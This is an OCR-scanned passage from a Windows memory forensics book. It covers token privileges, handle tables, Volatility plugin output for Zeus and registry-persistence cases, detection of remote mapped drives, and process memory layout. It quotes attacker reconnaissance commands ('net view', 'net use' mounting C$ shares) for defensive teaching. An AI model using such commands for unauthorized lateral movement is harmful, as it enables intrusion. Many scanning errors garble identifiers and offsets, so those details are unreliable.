SelndockPrivilege

Flags
Default Enabled
SelncreaseVWorking SetPrivilege  Enabled
Enabled
Enabled
Enabled

Figure 6-11: Process Explorer is tricked into reporting
that only five privileges are enabled.

As expected, it shows that only five privileges are enabled.

Revealing the Truth

However, if you analyze the VM memory dump using the privs plugin, which does nof

use the same logic as the Windows API, you'll see that all privileges are enabled, yet

many of them are not even present (which should never happen). Thus, explorer.exe can

carry out any task it desires, and live tools on the system continue to report that those

capabilities don't exist.

S python vol.py -f VistaSP0x64.vmem --profile=VistaSP2x64 privs -p 1824
Volatility Foundation Volatility Framework 2.4

Pid Process
1824 explorer.
1824 explorer.
[snip]

1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.
[snip]

1824 explorer.
1824 explorer.
1824 explorer.
1824 explorer.

exe
exe

exe
exe
exe
exe
exe
exe
exe
exe
exe

exe
exe
exe
exe

Privilege

SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege

SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeSyncAgentPrivilege

SeRelabelPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

Attributes
Enabled
Enabled

Enabled

Present, Enabled
Enabled

Enabled

Enabled

Present, Enabled, Default
Enabled

Present, Enabled
Enabled

Enabled
Present, Enabled
Present, Enabled
Enabled
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One caveat to Cesar’s attack is that you need kernel-level access in the first place to
modify the _sEP_TOKEN_PRIVILEGES structure. However, the point was to prolong access
to a system by deceiving live tools and incident responders—not to exploit a privilege
escalation vulnerability.

Process Handles

A handle is a reference to an open instance of a kernel object, such as a file, registry key,
mutex, process, or thread. As discussed in Chapter 5, there are close to 40 different types of
kernel objects. By enumerating and analyzing the specific objects a process was accessing
at the time of a memory capture, it is possible to arrive at a number of forensically relevant
conclusions—such as what process was reading or writing a particular file, what process
accessed one of the registry run keys, and which process mapped remote file systems.

Lifetime of a Handle

Before a process can access an object, it first opens a handle to the object by calling an API
such as createFile, RegOpenKeyEx, O CreateMutex. These APIs return a special Windows
data type called HanDLE, which is simply an index into a process-specific handle table.
For example, when you call createFile, a pointer to the corresponding _FILE_OBJECT in
kernel memory is placed in the first available slot in the calling process” handle table,
and the respective index (such as 0x40) is returned. Additionally, the handle count for the
object is incremented. The calling process then passes the sanDLE value to functions that
perform operations on the object, such as reading, writing, waiting, or deleting. Thus,
APIs such as ReadFile and writeFile work in the following manner:

Find the base address of the calling process” handle table.
Seek to index ox40.

Retrieve the _FILE_oBJECT pointer.

Carry out the requested operation.

When a process is finished using an object, it should close the handle by calling the
appropriate function (CloseHandle, RegCloseHandle, and so on). These APIs decrement
the object’s handle count and remove the pointer to the object from the process” handle
table. At this point, the handle table index can be reused to store another type of object.
However, the actual object (i.e,, the _FILE_oBJecT) will not be freed or overwritten until
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the handle count reaches zero, which prevents one process from deleting an object that
is currently in use by another process.

NOTE

The handle table model was designed for both convenience and security. It's conve-
nient because you don’t have to pass the full name or path of an object each time you
perform an operation—only when you initially open or create the object. For security
purposes, it also helps to conceal the addresses of objects in kernel memory. Because
processes in user mode should never directly access kernel objects, there’s no reason
why they would need the pointers. Furthermore, the model provides a centralized way
for the kernel to monitor access to kernel objects, thus giving it the chance to enforce
security based on SIDs and privileges.

Reference Counts and Kernel Handles

So far in this section, we've been referring to processes as the entities that interact with
objects via handles. However, kernel modules, or threads in kernel mode, can call the
equivalent kernel APIs (i.e, NtCreateFile, NtReadFile, NtCreateMutex) in a similar man-
ner. In this case, the handles are allocated from the system (PID 4) process’ handle table.
Thus, when you dump the handles of the system process, you're actually seeing all the
currently open resources requested by kernel modules.

It’s also possible for code in the kernel to access existing objects directly, without first
opening handles. For example, as long as the address of the object is known, you can
use ObReferenceObjectByPointer. This API increments the reference count, rather than
the handle count, so the OS will not delete the object while it’s still being referenced.
Obviously, calling obbereferenceobject is recommended, or else the objects may persist
unnecessarily (this is known as a handle or reference leak). Although leaks are bad for
performance, they’re good for forensics—it is like an attacker failing to clean up the
crime scene.

In many cases, even if handles are closed, and references are released, there’s still a
chance that you can find the objects by scanning the physical address space, as described
in Chapter 5. Of course, they wouldn’t be associated with a process” handle table at that
point, but their presence in RAM can still lend clues to your investigations. Likewise,
after a process terminates, its handle table is destroyed, but that doesn’t mean all objects
created by the process are destroyed at the same time.
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Analysis Objectives

Your objectives are these:
Handle table internals: Learning the internals of handles and handle tables can
give you a greater understanding of the objects and artifacts you find in memory
dumps.
Targeted object attribution: Given an indicator such as a filename, registry key
path, mutex, or other object—you can trace it back to the process, or processes
responsible for creating or accessing it.
Open-ended investigations: If you don’t have a specific list of initial indicators,
you can still gain a great deal of knowledge about the behaviors and intentions of
an unknown process by analyzing the contents of its handle table.
Detect registry persistence: Learn how to analyze open registry handles to deter-
mine which keys a process uses to store its configuration or persistence data.
Identify remote mapped drives: Adversaries frequently look for IP addresses and
names of other computers in the workgroup or domain and then try to map them
for remote read or write access. You'll learn how to find evidence of exactly which
systems and paths were accessed by looking in handle tables.

Handle Table Internals

Each process’ _EPROCESS.ObjectTable member points to a handle table (_HANDLE_TABLE).
This structure has a Tablecode that serves two critical purposes: It specifies the number
of levels in the table and it points to the base address of the first level. All processes start
out with a single-level table, which is shown in Figure 6-12. The table size is one page
(4096 bytes), and this scheme allows for up to 512 handles on a 32-bit system or 256 on a
64-bit system. Indexes in the table contain _HANDLE TABLE_ENTRY structures if they’re in
use; otherwise, they're zeroed out.

The handle table entries contain an object member that points to the _oBJECT HEADER
of the corresponding object. By navigating these fields, you can locate both the object
name and the object body (i.e., _FILE_OBJECT, _EPROCESS).

Some processes require more open handles than the single-level table permits. Thus,
Windows can expand on-demand to a scheme involving up to three levels. For example,
in a two-level table, the first level is still a 4096-byte block of memory, but it is divided
up into 1024 slots (32-bit) or 512 slots (64-bit). Each slot stores a pointer to an array of
_HANDLE_TABLE_ENTRY structures. Thus, on a 32-bit platform, the two-level handle table
can support up to 1024 * 512 = 524,288 handles.
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OBJECT_HEADER

Object Body (empty)

Object | _HANDLE_TABLE_ENTRY

(empty)
_EPROCESS _HANDLE_TABLE (empty)
(empty)

TableCode > (reserved/unused)

ObjectTable .
4096 / 0x08 = 512 entries (x86)

4096 / 0x10 = 256 entries (x64)

Figure 6-12: A diagram of a single-level handle table

Similarly, a three-level table on a 32-bit system can theoretically support 1024 * 1024 *
512 =536,870,912 handles. However, as described in “Pushing the Limits of Windows: Handles”
(https://blogs.technet.com/b/markrussinovich/archive/Z009/09/29/3283844.aspx)
the observed limits are actually far fewer. For one, the kernel enforces a hard-coded limit
of about 16 million. Additionally, any process that requires more than several thousand
open handles concurrently is probably experiencing a handle table leak (i.e., forgetting to
close its handles). Thus, the hard-coded maximum serves as an early indicator of poorly

written applications.

Data Structures

The output that follows shows the handle table and handle table entry structure for 64-bit

Windows 7 systems:

>>> dt ("_HANDLE TABLE")
' _HANDLE_TABLE' (104 bytes)

Index 0x14
Index 0x10
Index 0x0C
Index 0x08
Index 0x04

Index 0x00

0x0 : TableCode ['unsigned long long']

0x8 : QuotaProcess ['pointer64', [' EPROCESS']]

0x10 : UniqueProcessId ['pointer6d', ['void']]

0x18 : HandleLock ['_EX_PUSH LOCK']

0x20 : HandleTableList ['_LIST ENTRY']

0x30 : HandleContentionEvent ['_EX PUSH LOCK']

0x38 : DebugInfo ['pointer64', [' HANDLE TRACE DEBUG INFO']]
0x40 : ExtraInfoPages ["long']

0x44 : Flags ['unsigned long']

0x44 : StrictFIFO ['BitField"',

{'end bit': 1, 'start bit': 0, 'native type': 'unsigned char'}]
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0x48
0x50
0x58
0x5¢c
0x60

: FirstFreeHandle ['unsigned long']
: LastFreeHandleEntry ['pointer64', [' HANDLE TABLE ENTRY']
: HandleCount ['unsigned long']
: NextHandleNeedingPool ['unsigned long']
: HandleCountHighWatermark ['unsigned long']

>>> dt (' _HANDLE TABLE ENTRY')
' _HANDLE_TABLE ENTRY' (16 bytes)

0x0 : InfoTable ['pointer64', [' HANDLE TABLE ENTRY INFO']]
0x0 : ObAttributes ['unsigned long']
0x0 : Object [' EX FAST REF']
0x0 : Value ['unsigned long long']
0x8 : GrantedAccess ['unsigned long']
0x8 : GrantedAccessIndex ['unsigned short']
0x8 : NextFreeTableEntry ['unsigned long']
0xa : CreatorBackTraceIndex ['unsigned short']
Key Points

The key points for _HANDLE_TABLE are these:

The

TableCode: This value tells you the number of levels in the table and points to the
address of the top-level table. The dual purpose is achieved using a bit mask of
seven (7). For example, to obtain the number of tables, you can compute Tablecode
& 7; and to obtain the address, you can compute TableCode & ~7.

QuotaProcess: A pointer to the process to which the handle table belongs. It
can come in handy if you find handle tables using the pool-scanning approach
described in Chapter 5 rather than enumerating processes and following their
ObjectTable pointer.

HandleTableList: A linked list of process handle tables in kernel memory. You can
use it to locate other handle tables—potentially even those for processes that have
been unlinked from the process list.

HandleCount: The total number of handle table entries that are currently in use by
the process. This field was removed starting in Windows 8 and Server 2012.

key points for _HANDLE_TABLE_ENTRY are these:

object: This member points to the _oBJecT HEADER of the corresponding object.
The Ex FasT REF is a special data type that combines reference count information
into the least significant bits of the pointer.

Grantedaccess: A bit mask that specifies the granted access rights (read, write,
delete, synchronize, etc.) that the owning process has obtained for the object.



Processes, Handles, and Tokens

Enumerating Handles in Memory

The Volatility handles plugin generates output by walking the handle table data struc-
tures. Using this plugin without any options generates the most verbose output: all han-
dles for all object types in all processes. So you should learn about a few filtering options:

Filter by process ID: You can pass one or more (comma-separated) process IDs
to the -p/--pid option.

Filter by process offset: You can supply the physical offset of an _EprocESs struc-
ture to the -o/--offset option.

Filter by object type: If you're interested in only a particular type of object, such as
files or registry keys, you can specify the appropriate name(s) to the -t/--object-type
option. See Chapter 5 or enter tobject \oObjectTypes into Windbg to see the full
list of object types.

Filter by name: Not all objects have names. Unnamed objects are obviously useless
when searching for indicators by name, so one way to reduce noise is to use the
--silent option, which suppresses handles to unnamed objects.

Finding Zeus Indicators

The following output shows the first few handles from PID 632 (winlogon.exe). The memory
dump is from an older 32-bit XP system infected with Zeus (https://code.google.com/p/
malwarecookbook/source/browse/trunk/17/1/zeus . vmem. zip). However, it’s difficult to dis-
cern the infection because the process has about 550 open handles (truncated for brevity)
to different types of objects—and you may not immediately recognize them all.

NOTE

Recipe 9-5 of the Malware Analyst’s Cookbook includes source code for a C program that
compares handles across all processes on the system to examine the effects of code injec-
tion. The code is based on the same API (NtQuerySystemInformation) that most tools
on the running system use to enumerate handles. The code is available here: https://

code.google.com/p/malwarecookbook/source/browse/trunk/9/5/HandleDiff-src.zip.

S python vol.py -f zeus.vmem --profile=WinXPSP3x86 -p 632 handles
Volatility Foundation Volatility Framework 2.4
Offset (V) Pid Handle Access Type Details

0xel007e1l8 632 0x4 0x£0003 KeyedEvent CritSecOutOfMemoryEvent
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0xel533748 632 0x8 0x3 Directory KnownDlls
0xel7289f0 632 0x10 0x20f003f Key MACHINE

0xel533d28 632 0x14 0xf000f Directory Windows

0xel728bl0 632 0x18 0x21£0001 Port

Oxelédefds 632 0xlc 0xf001f Section

0x80ffadcs 632 0x20 0x21f0003 Event

0xel571708 632 0x24 0x2000f Directory BaseNamedObjects
0x80f618e8 632 0x28 0x1£0003 Event crypt32LogoffEvent
[snip]

As shown in the next example, you can limit your search to files and mutexes opened
by PID 632 and ignore unnamed objects. Although you'll still see about 150 items (in this
particular memory dump), the well-known Zeus artifacts are much easier to identify.
For example, you see the user.ds and local.ds files, which contain the configuration
and stolen data. The sdra64 . exe file in the system32 directory is the initial Zeus installer.

$ python vol.py -f zeus.vmem --profile=WinXPSP3x86 -p 632 handles

-t File,Mutant

--silent
Volatility Foundation Volatility Framework 2.4

Offset (V) Pid Handle Access Type Details
[snip]
0x80f£7b90 632 0x104 0x120089 File
\Device\HarddiskVolumel \WINDOWS\system32\lowsec\user.ds

[snip]
0xff12bb40 632 0x644 0x120089 File
\Device\HarddiskVolumel\WINDOWS\system32\sdra64.exe
0xff13a470 632 0x648 0x120089 File
\Device\HarddiskVolumel \WINDOWS\system32\lowsec\local.ds
0xffle6bl0 632 0x6dc 0x120116 File \Device\Tcp
0xffle6als 632 0x6e0 0x1200a0 File \Device\Tcp
0xff206778 632 0x6e4 0x1200a0 File \Device\Ip
0xffle6610 632 0x6e8 0x100003 File \Device\Ip
0xffle6578 632 0x6ec 0x1200a0 File \Device\Ip
0x80£5cd78 632 0x898 0x12019f File
\Device\NamedPipe\ AVIRA 2109
0xffle7dco 632 0x8bc 0x1f0001 Mutant _AVIRA 2109

You also may notice several open handles to \Device\Tcp and \pevice\Ip. These are
obviously different from the handles to files prefixed with \Device\Harddiskvolumel.
Specifically, Tcp and 1p are not files on the machine’s hard drive. This is described in
Chapter 11, but what you're essentially seeing are artifacts of network sockets that the
process creates. Although sockets aren't files, they support similar operations such as
opening, reading, writing, and deleting. As a result, the same handle/descriptor subsys-
tem can service both files and network sockets.
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Along the same lines, named pipes are also represented as file objects. Thus, if malware
creates a named pipe for interprocess communication or to redirect output of a backdoor
command shell into a file, you can determine which processes are involved in that activity,
provided that you know the name of the pipe it creates. In this case, it’s easy to identify
because the name of the pipe that Zeus uses is the same as the standard mutex it creates
to mark its presence on systems ( _AvVIRA_).

Detecting Registry Persistence

Malware often leverages the registry for persistence. To write the pertinent values, the
malicious process must first open a handle to the desired registry key. In the following
example, you'll see how obvious it is when malware chooses a well-known location (such
as the Run key) and also suffers from a handle leak. You should not only recognize the
registry key name but also the fact that you have numerous open handles to the same
key. Here is how the output appears:

$ python vol.py -f lagma.mem --profile=WinXPSP3x86 handles
--object-type=Key

--pid=1700
Volatility Foundation Volatility Framework 2.4
Offset (V) pid Handle Access Type Details
O0xel2b6cb0 1700 0x10 0x20f003f Key MACHINE
Oxel2aele8 1700 0x60 0xf003f Key
MACHINE\SYSTEM\CONTROLSETOOl\SERVICES\WINSOCKZ\PARAMETERS\PROTOCOLfCATALOG9
0xel7alc08 1700 0x68 0xf003f Key
MACHINE\SYSTEM\CONTROLSETOOl\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOGS
0xel2382d8 1700 0x88 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Oxelee99a8 1700 0x90 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Oxelfc7f18 1700 0x94 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
O0xel61lbfbs 1700 0x98 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Oxel8bbafs 1700 0x9c 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
0xel2a0348 1700 0xa0 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
0xel307598 1700 Oxa4 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
0xel50fb88 1700 0xa8 0xf003f Key
MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
O0xel2e38f0 1700 Oxac 0xf003f Key

MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
[snip]
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The process has nearly 20 open handles to the run key (not all are shown). This is
indicative of a bug in the code that fails to close its handles after opening them. In this
case, most likely there’s a loop that executes periodically to ensure that the persistence
values are still intact (just in case an antivirus product or administrator removed them).
Of course, the artifacts won't always be this obvious, and just because a handle to a key
is open, that doesn’t mean the process added values. However, you can always confirm
your suspicions by using the printkey plugin (see Chapter 10) to look at the actual data
that the key contains:

$ python vol.py -f lagma.mem printkey -K "MICROSOFT\WINDOWS\CURRENTVERSION\RUN"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\software
Key name: Run (S)
Last updated: 2012-11-28 03:05:07 UTC+0000

Subkeys:
Values:
REG_SZ BluetoothAuthenticationAgent : (S) rundll32.exe
bthprops.cpl, ,BluetoothAuthenticationAgent
REG_SZ VMware User Process : (8)
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
REG_SZ lanmanwrk.exe : (8)
C:\WINDOWS\System32\lanmanwrk.exe
REG_SZ KernelDrv.exe clean : (S)

C:\WINDOWS\system32\KernelDrv.exe clean

Based on their names, the final two entries seem suspicious—they cause lanmanwrk.exe
and KernelDrv.exe to start automatically at each boot. This run key is one of the most
common persistence locations, so you probably would have checked here anyway and
found the suspicious entries. However, by using the method described here (via the
handles plugin) you can attribute the entries back to the exact process that created them.

Identifying Remote Mapped Drives

Many adversaries rely on commands such as net view and net use to explore the sur-
rounding network and map remote drives. Obtaining read access to a company’s Server
Message Block (SMB) file server or write access to various other workstations or servers
in an enterprise can lead to successful lateral movement. However, in these cases, the
machine that performs the reconnaissance has open network connections to the remote
systems and indicators of the activity in the process handle tables.



The following example shows how an attacker navigates the network to mount two

a specific user’s documents folder.

C:\Users\Jimmy>net view

Server Name Remark
\\JAN-DF663B3DBF1

\\LH-7J277PJ9J851

\\WIN-464MMR80O7GF

The command completed successfully.

C:\Users\Jimmy>net use p: \\WIN-464MMR8O7GF\Users

The command completed successfully.

C:\Users\Jimmy>net use q: \\LH-7J277PJ9J85I\C$
The command completed successfully.

C:\Users\Jimmy>net use
New connections will be remembered.

Status Local Remote
OK P: \\WIN-464MMR8O7GF\Users
OK Q: \\LH-73J277PJ9J85I\CS$

The command completed successfully.
C:\Users\Jimmy>cd Q:\Users\Sharm\Documents

Q:\Users\Sharm\Documents

The trick to finding evidence of remote mapped drives in memory is to look for file

Here’s an example of how the output of the handles plugin looks on the first hop

$ python vol.py -f hop.mem --profile=VistaSP2x64 handles -t File | grep Mup

Volatility Foundation Volatility Framework 2.4

Processes, Handles, and Tokens

remote drives. The Users directory of a system named wIN-464MMR807GF is mounted on p,
and the cs share of a system named ru-73277pPJ9J85T is mounted at o. If left unprotected,
the attacker could also mount the apmIns share in the same manner. Once the drives are
mapped, the attacker changes the current working directory of his command shell into

Network

Microsoft Windows Network
Microsoft Windows Network

handles prefixed with \Device\Mup and \Device\LanmanrRedirector. MUP, which stands
for Multiple Universal Naming Convention (UNC) Provider, is a kernel-mode component
that channels requests to access remote files using UNC names to the appropriate network
redirector. In this case, LanmanRedirector handles the SMB protocol.

machine (the one the attacker initially accessed). The system was running a 64-bit ver-
sion of Vista SP2.

185
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Offset (V) Pid Handle Access Type Details
[snip]

0xfffffa8001345c80 752 0xfc 0x100000 File
\Device\Mup\;P:000000000002210£\WIN-464MMR807GF\Users
0xfff££fa8003£02050 752 0x200 0x100000 File \Device\Mup
Oxfffffa80042c9£20 752 0x204 0x100000 File \Device\Mup
Oxfffffag80042dc410 752 0x208 0x100000 File \Device\Mup
0xfffffa800433cf20 752 0x244 0x100000 File \Device\Mup
0xfffffa800429¢cbl0 752 0x258 0x100000 File \Device\Mup
0xfffffa800134b190 752 0x264 0x100000 File
\Device\Mup\;Q:000000000002210£\LH-7J277PJ9J85I\C$

0xffff£fa800132b450 1544 0x8 0x100020 File

\Device\Mup\;Q:000000000002210£\LH-7J277PJ9J85I\C$\Users\Jimmy\Documents

You have several plain handles to \pevice\Mup (they are normal). The few in bold are
the ones you should find interesting because they actually display the local drive letter,
the remote NetBIOS name, and the share or file system path name. There are also two
different process IDs shown: 752 and 1544. In this case, 752 is the instance of svchost . exe
that runs the LanmanwWorkstation service; it creates and maintains client network con-
nections to remote servers using the SMB protocol. PID 1544 is the cmd. exe shell, and it
has a handle to c$\Users\Jimmy\Documents as a result of the attacker changing into that
directory.

Another way to detect remote mapped shares, which can be used in combination with
the handles method, is to inspect symbolic links via the symlinkscan plugin. These kernel
objects can be used to associate a drive letter, such as ¢ or p, with the redirected path. For
example, the output looks like this:

S python vol.py -f hop.mem --profile=VistaSP2x64 symlinkscan
Volatility Foundation Volatility Framework 2.4

Offset (P) #Ptr #Hnd Creation time From To
0x0000000024b0c6cO 1 0 2014-02-25 21:41:12 UTC+0000 Q:
\Device\LanmanRedirector\;Q:0...00002210£\LH-7J277PJ9J85I\CS
0x0000000026£4a800 1 0 2014-02-25 21:40:45 UTC+0000 P:

\Device\LanmanRedirector\;P:0...02210f\WIN-464MMR807GF\Users

One of the advantages of combining your methodologies is that with symlinkscan, you
also get the exact time when the remote share was mounted. By incorporating this into
your timeline, or (better yet) extracting the attacker’s command history from cmd. exe (see
Chapter 17), you can quickly answer a lot of questions about the activities performed on
the victim system or network.
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Summary

The evidence you look for, and the order in which you look for it, varies from case to
case. However, in our experience, viewing the processes is a reasonable starting point,
because it gives you an idea of what type of applications are running. As you're analyzing
the process list, keep in mind that malware frequently hides by blending in with critical
system processes or by unlinking a process from the kernel’s process list. If you cannot
fully identify a process by its name, leverage handles to determine what operating system
resources the process is accessing. Also consider whether the user account under which
the process is running should be allowed to perform the actions. Once you gain experience
with these types of investigations, you can build (or trade) indicator lists with other ana-
lysts in the community and essentially automate the procedure to save time in the future.






ven after years of experience digging through RAM, the amount of evidence you

can find in process memory never ceases to amaze us. Although artifacts in kernel
memory, such as an _EPROCESS, can provide useful details, the actual memory that the
process uses is highly concentrated with data that can reveal valuable information about
the process’ current state. This data includes, but is not limited to, all content processed
by the application (received via the network or interactive user input); mapped files;
shared libraries; passwords; credit card transactions (for point-of-sale [POS] systems);
and private structures for e-mail, documents, and chat logs.

This chapter analyzes the various application programming interfaces (APIs) used
for allocating the different data types and examines how to enumerate process memory
regions via memory forensics. In doing so, you'll see how to leverage characteristics (such
as permissions, flags, and sizes) of memory ranges to deduce what kind of data they con-
tain. You'll also learn the tools and techniques for extracting all process memory (at least
what’s addressable and memory-resident) or individual ranges to a file, which enables
you to further analyze it with external tools such as virus scanners, disassemblers, and
so on. Finally, we present several ways to search for patterns within process memory,
involving both Volatility’s APIs and Yara signatures.

What'’s in Process Memory?

Figure 7-1 shows a high-level diagram of process memory. Each process has its own private
view of memory in this range. Because the upper bounds of the range can vary between
operating systems, we simply represented the highest value as MmHighestUseraddress. This
is a symbol in the NT module that you can query with a debugger or inside Volatility’s
volshell plugin. Generally speaking, it will be 0x7FFEFFFF on 32-bit systems without
the /3GB boot switch, 0xBFFEFFFF on 32-bit systems with the /3GB boot switch, and
0x7FFFFFEFFFF on 64-bit systems. Of course, not every process (or any process for that
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matter) fills up this entire memory space, but even if a small percentage of it is used, that’s
still a significant amount of data.

MmHighestUserAddress

Dynamic DLLs

Environment variables

PEB

Process heap

Thread 1 stack
Thread 2 stack

Mapped file(s)
Application data

Executable

0

Figure 7-1: A high-level diagram of the typical
contents of process memory

Address Space Layout Details

We'll briefly describe the ranges labeled in the figure, from top to bottom. However, it’s
important to note that the positions of the ranges are not constant, especially on systems
that leverage address space layout randomization (ASLR). In other words, the thread
stacks can exist below or above the process executable, or the ranges containing mapped
files can be interspersed throughout the entire process space, not gathered contiguously
as the diagram shows. You'll also be learning about each of these components in greater
detail throughout this chapter and the next:

Dynamic linked libraries (DLLs): This area represents shared libraries (DLLs) that
were loaded into the address space, either intentionally by the process or forcefully
through library injection.

Environment variables: This range of memory stores the process” environment
variables, such as its executable paths, temporary directories, home folders, and
SO on.

Process Environment Block (PEB): An extremely useful structure that tells you
where to find several of the other items in this list, including the DLLs, heaps, and



Process Memory Internals 191

environment variables. It also contains the process’ command line arguments, its
current working directory, and its standard handles.

Process heaps: Where you can find a majority of the dynamic input that the process
receives. For example, variable-length text that you type into e-mail or documents
is often placed on the heap, as is data sent or received over network sockets.
Thread stacks: Each thread has a dedicated range of process memory set aside for
its runtime stack. This is where you can find function arguments, return addresses
(allowing you to reconstruct call history), and local variables.

Mapped files and application data: This item is left intentionally vague because
the content really depends on the process. Mapped files represent content from files
on disk, which could be configuration data, documents, and so on. Application data
is anything the process needs to perform its intended duties.

Executable: The process executable contains the primary body of code and read/
write variables for the application. This data may be compressed or encrypted on
disk, but once loaded into memory, it unpacks, enabling you to dump plain-text
code back to disk.

NOTE

To query the highest user address with Microsoft’s debugger, type the following:

kd> dq nt!MmHighestUserAddress L1
fffff802°821da040 000007ff fffeffff

To get the same value from a memory dump with Volatility, you can use these volshell
commands:

>>> kdbg = win32.tasks.get kdbg(addrspace())

>>> addr = kdbg.MmHighestUserAddress.dereference as("address")

>>> hex (addr)
'0x7fffffeffffL"’

The highest address is 0x7FFFFFEFFFF on this 64-bit system, whether you view it from
a debugger or Volatility.

Memory Allocation APIs

Figure 7-2 shows a diagram of APIs used for allocating process memory and how the
functions relate to each other. As with many components of the operating system, various
high-level, abstracted interfaces sit on top of the native APIs. This model provides quite
a bit of flexibility to programmers, along with the capability for subsystems such as the
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heap manager to exist in the middle and help ensure that allocations and deallocations
of small memory blocks occur efficiently. Functions that call one another in this manner
are connected with arrows.

Heap creation Heap-based APIs
kernel32.dll msvcrt.dll msvcrt.dll

Non-heap HeapCreate() C++ new malloc()
based APIs \ i
kernel32.dll kernel32.dll kernel32.dll kernel32.dll
Virtual Alloc() LocalAlloc() GlobalAlloc() HeapAlloc()

Y Y Y
kernel32.dll ntdll.dll ntdll.dll
Virtual AllocEx() RtlCreateHeap() RtlAllocateHeap()

User mode APIs

ntdll.dll

ntoskrnl.exe

NtAllocateVirtualMemory() Kernel mode APIs

Figure 7-2: A diagram showing the relationship of Windows API calls used to allocate process
memory

We provide this diagram of APIs to help visualize how all functions lead to
NtAllocateVirtualMemory in the end. Students in our training class often ask the dif-
ference between the C++ new function and APIs such as virtualalloc. As shown in the
diagram, they both result in a call to NtAllocateVirtualMemory; however, new goes through
HeapAlloc first, which means the requested memory is allocated from one of the process’
existing heaps. This is useful from a theoretical perspective (to become more familiar with
memory internals) and also from a forensics standpoint. For example, if you see malware
using new, and you want to hunt down its contents after the fact, you can focus on heap
segments rather than all of process memory.

Generally, the APIs in the diagram differ as discussed in the following sections.

Permissions

Only a few of the APIs allow the programmer full control over permissions for the allo-
cated memory. For example, virtualalloc enables you to specify whether the memory
should be no-access, readable, writeable, executable, guarded, or a combination thereof.
On the other hand, heaps are always readable and writeable—and there’s no way to turn
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that off. You can, however, control whether data on the heap is executable by supplying
the HEAP CREATE_ENABLE EXECUTE parameter to HeapCreate. Alas, thisisa dangerous option
because it facilitates heap sprays—one of the offensive techniques that Data Execution
Prevention (DEP) aims to prevent.

Scope and Flexibility

VirtualAllocEx is the only Windows API function in the diagram that allows one process
to allocate memory for another process. The Ex in the name stands for Extra because the
function takes one additional parameter that virtualalloc lacks—an open handle to
the target process. You frequently see this used as a precursor to code injection because
malware needs to create space in the victim process.

These two virtual allocation functions are also the only ones that allow the caller to
reserve memory (that is, set it aside) before committing it. This allows applications to
“save” a large region of virtually contiguous memory for later use, without tying up
the underlying physical pages in the meantime. For more information, see Reserving
and Committing Memory: http://msdn.microsoft.com/en-us/library/windows/desktop/
aa366803 (v=vs.85) .aspx.

NOTE

Once memory ranges are allocated with virtualalloc (Ex), programs on the running
system can enumerate them with virtualoueryEx. This is how Dexter and BlackPOS
(the Target breach POS malware) identified the available ranges before scanning for
credit card numbers (see http://volatility-labs.blogspot.com/2014/01/comparing-
dexter-and-blackpos-target. html).

Enumerating Process Memory

The following list describes a few sources of process memory that you can use to enumer-
ate memory regions with forensics tools.

Page tables: Chapter 1 introduced page tables for a few of the most popular archi-
tectures (x86, x64). These are CPU-specific data structures. You can leverage page
tables to map virtual addresses in process memory to physical offsets in RAM,
determine what pages are swapped to disk, and analyze the hardware-based per-
missions applied to the pages.

Virtual address descriptors (VADs): VADs are structures defined by Windows to
track reserved or committed, virtually contiguous collections of pages. For example,
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if a page is 4KB and a process commits 10 pages at the same time, a VAD is created
in kernel memory that describes the 40KB range of memory. If the region contains
a memory-mapped file, the VAD also stores information about the file’s path.
Working set list: A process’ working set describes the collection of recently accessed
pages in virtual memory that are present in physical memory (not swapped to disk).
It can come in handy for debugging purposes or for cross-referencing with other
sources of process memory, but we don’t typically use it for forensics. Unlike page
tables, working sets never contain references to nonpageable memory or large
pages, so you can’t rely on them to provide a comprehensive list of pages acces-
sible to a process. Furthermore, working sets can be emptied on demand (see the
EmptyWorkingSet API).

PFN database: Windows uses the PFN database to track the state of each page in
physical memory, which can give you a unique view of how memory is being used
because page tables, VADs, and working sets all focus on virtual memory. The so-
called database is actually just an array of MMpFN structures that you can access from
the kernel’s debugger data block (_KDEBUGGER _DATA64 .MmPfnDatabase). For more infor-
mation, see Mining the PEN Database for Malware Artifacts, by George Garner: http: //
volatility-labs.blogspot.com/2012/10/omfw-2012-mining-pfn-database-for.html.

The reason we leverage various sources of information is because they can both comple-
ment and contradict each other. For example, page tables store the authoritative hardware
access protections, whereas VADs contain names of mapped files. To get as much informa-
tion as possible, you have to query both sources. On the other hand, if malware unlinks
a VAD node from the tree to try and hide a memory range, the corresponding page table
entries still exist—so you can detect a “hole” in process memory. Likewise, as Garner’s
presentation pointed out, the top-level frames in the PFN database entries contain back
references to owning processes. Thus, regardless of how well an _eprocess is hidden, you
can potentially find it, and its memory, by looking in the database.

Process Page Tables

Between Chapter 1 and the previous summary, you should now have a general under-
standing of the role that page tables play in memory management. So you can jump right
into some analysis scenarios to become familiar with actually using page tables in your
investigations.

Exploring Process Memory

The memmap and memdump plugins enable you to list and extract all pages accessible to a
process. In this case, accessible includes kernel mode addresses because even threads that



Process Memory Internals 195

start in user memory transition into kernel memory when system APIs are called. Thus,
although you may not expect to see kernel addresses in a map of process memory, it is
not an error.

Figure 7-3 shows the scope of data that these plugins report. Notice the large white
